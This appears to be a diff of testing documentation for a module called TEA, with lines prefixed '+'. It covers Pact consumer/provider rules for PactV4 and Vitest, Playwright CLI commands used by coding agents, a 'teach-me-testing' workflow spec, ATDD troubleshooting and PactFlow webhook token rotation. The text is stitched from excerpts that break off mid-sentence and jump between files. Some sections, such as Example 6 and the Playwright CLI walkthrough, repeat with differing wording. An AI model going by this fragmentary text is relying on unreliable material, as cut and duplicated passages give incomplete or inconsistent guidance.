+``` + +### Example 5: When to Use setJsonBody vs setJsonContent + +```typescript +import { MatchersV3 } from '@pact-foundation/pact'; +import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils'; + +const { integer, string } = MatchersV3; + +await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by name') + .withRequest( + 'GET', + '/movies', + setJsonContent({ + query: { name: 'Inception' }, + headers: { Accept: 'application/json' }, + }), + ) + .willRespondWith( + 200, + setJsonBody({ + status: 200, + data: { id: integer(1), name: string('Inception') }, + }), + ); +``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two MANDATORY vitest settings and one file-organization rule. All four address different failure modes; none substitutes for the others**: (1) `fileParallelism: false` — prevents parallel workers racing on the shared pact JSON file; (2) `pool: 'forks'` with `singleFork: true` — required for pact JSON write safety across multiple files; (3) **one `.pacttest.ts` per consumer+provider pair** — `singleFork: true` keeps all files in one process, so two files for the same pair produce an FFI handle collision ("request was expected but not received" on Linux CI, sporadic); (4) one-interaction-per-`it()` (this rule) — prevents the FFI from dropping interactions within a single test body. See `pact-consumer-framework-setup.md` Example 10 for the file-organization ✅/❌ pattern. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

Vitest's default parallel file workers each spin up their own FFI instance and quickly corrupt that state — causing `MessagePact`/`Verifier` errors like `"Unable to get the MessageHandle"`, or non-deterministic verification passes/fails — as soon as you have more than one provider `.spec.ts` file. + +**Rule**: Provider verification suites **must** run in a single fork.

A suite that works today with one file will flake the moment a second file is added, and removing the setting later introduces a regression window. +- **The same `pool: 'forks'` + `singleFork: true` rule applies on the consumer side.** Consumer `vitest.config.pact.ts` sets it alongside `fileParallelism: false` — see `pact-consumer-framework-setup.md` Example 2.

Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation. + +## Rationale + +Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill. + +Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code. + +**The trade-off is simple:** + +- **CLI** = fast, lightweight, stateless — great for quick looks at pages +- **MCP** = rich, stateful, full-featured — great for complex multi-step automation + +TEA uses both where each shines (see `tea_browser_automation: "auto"`). + +## Prerequisites + +```bash +npm install -g @playwright/cli@latest # Install globally (Node.js 18+) +playwright-cli install --skills # Register as an agent skill +``` + +The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you. + +## How It Works + +The agent interacts with the browser through shell commands. Each command is a single, focused action: + +```bash +# 1. Open a page +playwright-cli -s=tea-explore open https://app.com/login + +# 2. Take a snapshot — returns element references, not DOM trees +playwright-cli -s=tea-explore snapshot +# Output: [{ref: "e15", role: "textbox", name: "Email"}, +# {ref: "e21", role: "textbox", name: "Password"}, +# {ref: "e33", role: "button", name: "Sign In"}] + +# 3.

Capture evidence +playwright-cli -s=tea-explore screenshot --filename=login-flow.png + +# 5. Clean up +playwright-cli -s=tea-explore close +``` + +The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows. + +## What TEA Uses It For + +**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In": + +``` +snapshot ref {role: "button", name: "Sign In"} + → generates: page.getByRole('button', { name: 'Sign In' }) +``` + +**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation. + +**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session. + +**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Design patterns, refactoring, DRY principles - they all apply to tests. + +{If role == Lead:} +**For Tech Leads:** Testing as engineering means architecture decisions: fixture patterns, data strategies, CI orchestration. Not just "write more tests." + +{If role == VP:} +**For VPs:** Testing is an engineering discipline requiring investment in tooling, architecture, and knowledge.

Users at the company (and beyond) lack testing knowledge regardless of experience level - from hobbyist beginners to experienced VPs. The TEA (Test Architecture Enterprise) module has extensive documentation (~24k lines, 200 files, 9 workflows, 42 knowledge fragments), but manual teaching doesn't scale. This workflow solves that by providing self-paced, structured learning with state persistence across multiple sessions. + +**Who It's For:** + +- New QA engineers (primary onboarding use case) +- Developers who need testing knowledge +- Anyone at the company requiring testing fundamentals through advanced practices +- Scalable to entire team without manual teaching + +**What It Produces:** + +- Multi-session learning journey (7 sessions, 30-90 min each) +- Session-by-session progress tracking via persistent state file +- Learning artifacts: session notes, test files, reports, completion certificate +- Personalized learning paths customized by role (QA vs Dev vs Lead vs VP) +- Knowledge validation through quizzes after each session +- Resume capability - users can pause and continue across days/weeks + +**Key Insights:** + +- Content volume (~24k lines) makes single-session teaching infeasible +- State persistence is critical for multi-session continuity +- Just-in-time content loading per session keeps context manageable +- First use case: new QA onboarding completing in 1-2 weeks +- Workflow must reference and integrate TEA docs and knowledge base extensively +- Users learn at their own pace without requiring instructor availability + +**Technical Architecture Requirements:** + +- 7-session curriculum structure +- State file: tracks progress, scores, completed sessions, artifacts, next recommended session +- Role-based path customization +- Knowledge validation gates between sessions +- Artifact generation per session +- Integration with TEA module documentation and knowledge base + +## Classification Decisions + +**Workflow Name:** teach-me-testing +**Target Path:** {project-root}/src/workflows/testarch/bmad-teach-me-testing/ + +**4 Key Decisions:** + +1. **Document Output:** Yes (produces progress files, session notes, artifacts, completion certificate) +2. **Module Affiliation:** TEA module (9th workflow in test architecture) +3. **Session Type:** Continuable (multi-session learning over 1-2 weeks) +4. **Lifecycle Support:** Tri-modal (Create + Edit + Validate for future-proofing) + +**Structure Implications:** + +- **Tri-modal architecture:** Needs `steps-c/`, `steps-e/`, `steps-v/` folders +- **Continuable workflow:** Requires `step-01-init.md` with continuation detection + `step-01b-continue.md` for resuming +- **State tracking:** Uses `stepsCompleted` in progress file frontmatter +- **Document templates:** Progress tracking YAML, session notes markdown, completion certificate +- **Module integration:** Access to TEA module variables, docs paths, knowledge base paths +- **Data folder:** Shared data for curriculum structure, role paths, session content mappings + +## Requirements + +**Flow Structure:** + +- Pattern: Mixed (non-linear between sessions, linear within sessions, branching at start only) +- Phases: Initial assessment → Session selection (non-linear) → Session execution (linear: teach → quiz → artifact) → Completion +- Estimated steps: Init + Continue + Assessment + 7 Session steps + Final Polish/Certificate generation = ~10-12 core step files +- Session jumping: Users can skip to any session based on experience level +- Within session: Strictly linear progression through teaching content + +**User Interaction:** + +- Style: Mixed (mostly autonomous teaching with collaborative decision points) +- Decision points: + - Role/experience assessment (entry) + - Session selection (menu-driven, can jump around) + - Quiz answers (validation gates) + - Continue to next session or exit +- Checkpoint frequency: At session completion (save progress, offer continue/exit) +- Teaching approach: AI presents content, user absorbs - minimal interruption once learning + +**Inputs Required:** + +- Required: + - User role (QA, Dev, Lead, VP) + - Experience level (beginner, intermediate, experienced) + - Learning goals (fundamentals, TEA-specific, advanced patterns) +- Optional: + - Existing project for practical examples + - Specific pain points (flaky tests, slow tests, hard to maintain) +- Prerequisites: + - TEA module installed + - Access to TEA docs and knowledge base + - Understanding of time commitment (30-90 min per session) + +**Output Specifications:** + +- Type: Multiple document types +- Format: Mixed formats + - Progress file: Structured YAML with specific schema (sessions, scores, artifacts, completed_date, next_recommended) + - Session notes: Free-form markdown built progressively per session + - Completion certificate: Structured format with completion data +- Sections: + - Progress file has fixed schema + - Session notes vary by session content + - Certificate has standard completion fields +- Frequency: + - Progress file: Updated after each session + - Session notes: Generated per session + - Certificate: Generated at final completion + +**Success Criteria:** + +- User completes their chosen sessions (might be 1, might be all 7) +- Knowledge validated through quizzes (≥70% passing threshold) +- Artifacts generated successfully (progress file exists, session notes created, learning tracked) +- User can apply knowledge (write their first good test following TEA principles) +- Onboarding velocity achieved (new QAs complete core sessions within 1-2 weeks) +- Scalability proven (multiple team members learn without requiring instructor time) + +**Instruction Style:** + +- Overall: Mixed (prescriptive for structure, intent-based for teaching) +- Prescriptive for: + - Initial assessment (consistent role/experience classification) + - Quiz questions (need exact validation logic) + - Progress tracking (exact state file updates) + - Session navigation (clear menu structure) +- Intent-based for: + - Teaching sessions (AI adapts explanations naturally) + - Example selection (AI chooses relevant TEA docs/knowledge fragments) + - Artifact generation (AI synthesizes learning into notes) + - Role-flavored content (AI adjusts examples based on user role) + +## Tools Configuration + +**Core BMAD Tools:** + +- **Party Mode:** Included (optional via A/P menu) - Use for collaborative exploration when the learner wants a lighter format +- **Advanced Elicitation:** Included (optional via A/P menu) - Use for deeper discovery or clarification during sessions +- **Brainstorming:** Excluded - Not needed for structured curriculum delivery + +**LLM Features:** + +- **Web-Browsing:** Included - Use case: Safety net for framework updates (Cypress, Jest, newer Playwright versions) and frameworks not covered in TEA docs. Motto: "Only reach out when you don't have the info" +- **File I/O:** Included - Operations: Read TEA docs (/docs/_.md), read knowledge fragments (/src/agents/bmad-tea/resources/knowledge/_.md), write progress file ({user}-tea-progress.yaml), write session notes, write completion certificate +- **Sub-Agents:** Excluded - Sessions are linear teaching steps handled by TEA agent, not complex specialized tasks requiring delegation +- **Sub-Processes:** Excluded - Learning is sequential (one session at a time), no parallel processing needed + +**Memory:** + +- Type: Continuable workflow with persistent state +- Tracking: + -

Check if test is accidentally using existing functionality +- Verify test assertions are correct and meaningful +- Rewrite test to fail until implementation is complete + +### Issue: Network-first pattern not applied + +**Problem:** Route interception happens after navigation, causing race conditions. + +**Resolution:** + +- Move `await page.route()` calls BEFORE `await page.goto()` +- Review `network-first.md` knowledge fragment +- Update all E2E tests to follow network-first pattern + +### Issue: Hardcoded test data in tests + +**Problem:** Tests use hardcoded strings/numbers instead of factories. + +**Resolution:** + +- Replace all hardcoded data with factory function calls +- Use `faker` for all random data generation +- Update data-factories to support all required test scenarios + +### Issue: Fixtures missing auto-cleanup + +**Problem:** Fixtures create data but don't clean it up in teardown. + +**Resolution:** + +- Add cleanup logic after `await use(data)` in fixture +- Call deletion/cleanup functions in teardown +- Verify cleanup works by checking database/storage after test run + +### Issue: Tests have multiple assertions + +**Problem:** Tests verify multiple behaviors in single test (not atomic). + +**Resolution:** + +- Split into separate tests (one assertion per test) +- Each test should verify exactly one behavior +- Use descriptive test names to clarify what each test verifies + +### Issue: Tests depend on execution order + +**Problem:** Tests fail when run in isolation or different order. + +**Resolution:** + +- Remove shared state between tests +- Each

interception BEFORE navigation prevents race conditions +- **One assertion per test:** Atomic tests provide clear failure diagnosis +- **Auto-cleanup is non-negotiable:** Every fixture must clean up data in teardown +- **Use knowledge base:** Load relevant fragments (fixture-architecture, data-factories, network-first, component-tdd, test-quality) for guidance +- **Share with DEV agent:** ATDD

pact content for already published pact` errors at PactFlow publish, and (b) "request was expected but not received" flakes observed on Linux CI once a consumer+provider pair has more than one `.pacttest.ts` file: + +1. **Consumer Vitest `fileParallelism: false`** in `vitest.config.pact.ts` — prevents parallel workers from racing on the shared pact JSON. See `pact-consumer-framework-setup.md` Example 2. +2. **Consumer Vitest `pool: 'forks'` + `poolOptions.forks.singleFork: true`** in `vitest.config.pact.ts` — same config as the provider side (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; serialization alone (via `fileParallelism: false`) is insufficient on the default threads pool in Vitest v1. Forks + `singleFork: true` runs every pact file in one subprocess with a coherent FFI handle and eliminated a reproducible Linux-CI flake on two repos (`pactjs-utils`, `seon-mcp-server`). Single-file consumer suites have not been observed to flake; this rule is still recommended as a future-proof. See `pact-consumer-framework-setup.md` Example 2. +3. **One `addInteraction()` per `it()` block** — see `pactjs-utils-consumer-helpers.md` Example 6. +4. **Determinism gate** runs the consumer suite N times and fails on byte-different pact JSON before publish — see `pact-consumer-framework-setup.md` Example 10 (`scripts/check-pact-determinism.sh`). + +Provider suites require the same `pool: 'forks'` + `singleFork: true` combination — see `pactjs-utils-provider-verifier.md` Example 7. + +### Webhook Auth & Staleness + +When `can-i-deploy` in a consumer repo times out with `There is no verified pact between <consumer> and the version of <provider> currently in <env>` — check the provider's PactFlow webhook.

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly. + +## Pattern Examples + +### Example 1: Directory Structure & File Naming + +**Context**: Consumer contract test project layout using pactjs-utils conventions. + +**Implementation**: + +``` +tests/contract/ +├── consumer/ +│ ├── get-filter-fields.pacttest.ts # Consumer test (one per endpoint group) +│ ├── filter-transactions.pacttest.ts +│ └── get-transaction-stats.pacttest.ts +└── support/ + ├── pact-config.ts # PactV4 factory (consumer/provider names, output dir) + ├── provider-states.ts # Provider state factory functions + └── consumer-helpers.ts # Local shim (until pactjs-utils is published) + +scripts/ +├── env-setup.sh # Shared env loader (sourced by all broker scripts) +├── publish-pact.sh # Publish pact files to broker +├── can-i-deploy.sh # Deployment safety check +└── record-deployment.sh # Record deployment after merge + +.github/ +├── actions/ +│ └── detect-breaking-change/ +│ └── action.yml # PR checkbox-driven breaking change detection +└── workflows/ + └── contract-test-consumer.yml # Consumer CDC CI workflow +``` + +**Key Points**: + +- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`) +- Support files live in `tests/contract/support/`, not mixed with consumer tests +- Shell scripts live in `scripts/` at project root, not nested inside test directories +- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants) + +--- + +### Example 2: Vitest Configuration for Pact + +**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`. + +**Implementation**: + +```typescript +// vitest.config.pact.ts +// See pact-consumer-framework-setup.md Example 2 "Key Points" for rationale on +// fileParallelism + pool:forks + singleFork.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

This is the command CI and developers run before pushing. See Example 10 for the `check-pact-determinism.sh` script itself. +- **`test:pact:consumer:run` is the fast inner command** for TDD loops (a single pass of the suite, no gate).

+``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two other MANDATORY vitest settings**: `fileParallelism: false` AND `pool: 'forks'` with `poolOptions.forks.singleFork: true`. All three are required and address different failure modes — `fileParallelism: false` prevents parallel workers from racing on the shared pact JSON; `pool: 'forks'` + `singleFork: true` prevents the Pact Rust FFI from leaking state across files (manifests as "request was expected but not received" flakes on Linux CI only); one-interaction-per-`it()` prevents the FFI from dropping interactions within a single test body. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; `scripts/check-pact-determinism.sh` flags drift; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). +- See `pact-consumer-framework-setup.md` Example 10 for the determinism gate that automatically catches violations of this rule. + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you. + +## How It Works + +The agent interacts with the browser through shell commands. Each command is a single, focused action: + +```bash +# 1. Open a page +playwright-cli -s=tea-explore open https://app.com/login + +# 2. Take a snapshot — returns element references, not DOM trees +playwright-cli -s=tea-explore snapshot +# Output: [{ref: "e15", role: "textbox", name: "Email"}, +# {ref: "e21", role: "textbox", name: "Password"}, +# {ref: "e33", role: "button", name: "Sign In"}] + +# 3. Interact using those references +playwright-cli -s=tea-explore fill e15 "user@example.com" +playwright-cli -s=tea-explore fill e21 "password123" +playwright-cli -s=tea-explore click e33 + +# 4. Capture evidence +playwright-cli -s=tea-explore screenshot --filename=login-flow.png + +# 5. Clean up +playwright-cli -s=tea-explore close +``` + +The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows. + +## What TEA Uses It For + +**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In": + +``` +snapshot ref {role: "button", name: "Sign In"} + → generates: page.getByRole('button', { name: 'Sign In' }) +``` + +**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation. + +**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session. + +**Agent-side test debugging** — For existing failing 